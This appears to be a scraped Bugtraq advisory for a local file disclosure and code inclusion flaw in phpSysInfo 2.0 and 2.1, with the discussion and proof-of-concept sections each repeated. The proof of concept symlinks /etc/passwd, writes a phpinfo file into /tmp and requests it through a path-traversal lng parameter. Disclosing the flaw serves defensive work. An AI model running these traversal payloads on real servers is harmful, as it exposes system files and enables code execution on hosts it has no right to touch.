PHPSysInfo Index.PHP LNG File Disclosure Vulnerability
BID:7286
Info
PHPSysInfo Index.PHP LNG File Disclosure Vulnerability
| Bugtraq ID: | 7286 |
| Class: | Unknown |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Apr 04 2003 12:00AM |
| Updated: | Apr 04 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to Albert Puigsech Galicia <[email protected]>. |
| Vulnerable: |
phpSysInfo phpSysInfo 2.1 phpSysInfo phpSysInfo 2.0 |
| Not Vulnerable: | |
Discussion
PHPSysInfo Index.PHP LNG File Disclosure Vulnerability
PHPSysInfo has been reported to be vulnerable to a file disclosure issue.
Local users may be capable of influencing the include path for PHPSysinfo language include files. If the malicious language file is symlinked to a web server readable file, the contents of the linked file may be disclosed to the attacker. The file may also contain PHP code which may be executed in the context of the web server hosting the vulnerable application.
This attack may lead to confidential or sensitive information disclosure, which could be used to launch other attacks.
PHPSysInfo has been reported to be vulnerable to a file disclosure issue.
Local users may be capable of influencing the include path for PHPSysinfo language include files. If the malicious language file is symlinked to a web server readable file, the contents of the linked file may be disclosed to the attacker. The file may also contain PHP code which may be executed in the context of the web server hosting the vulnerable application.
This attack may lead to confidential or sensitive information disclosure, which could be used to launch other attacks.
Exploit / POC
PHPSysInfo Index.PHP LNG File Disclosure Vulnerability
The following proof of concept was provided:
~$ ln -s /etc/passwd /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p
~$ echo "<?php phpinfo() ?>" > /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p
The following proof of concept was provided:
~$ ln -s /etc/passwd /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p
~$ echo "<?php phpinfo() ?>" > /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p
References
PHPSysInfo Index.PHP LNG File Disclosure Vulnerability
References:
References:
- PHPSysInfo (PHP SysInfo)
- Re: Unauthorized reading files on phpSysInfo (Wolter Kamphuis
- Unauthorized reading files on phpSysInfo (Albert Puigsech Galicia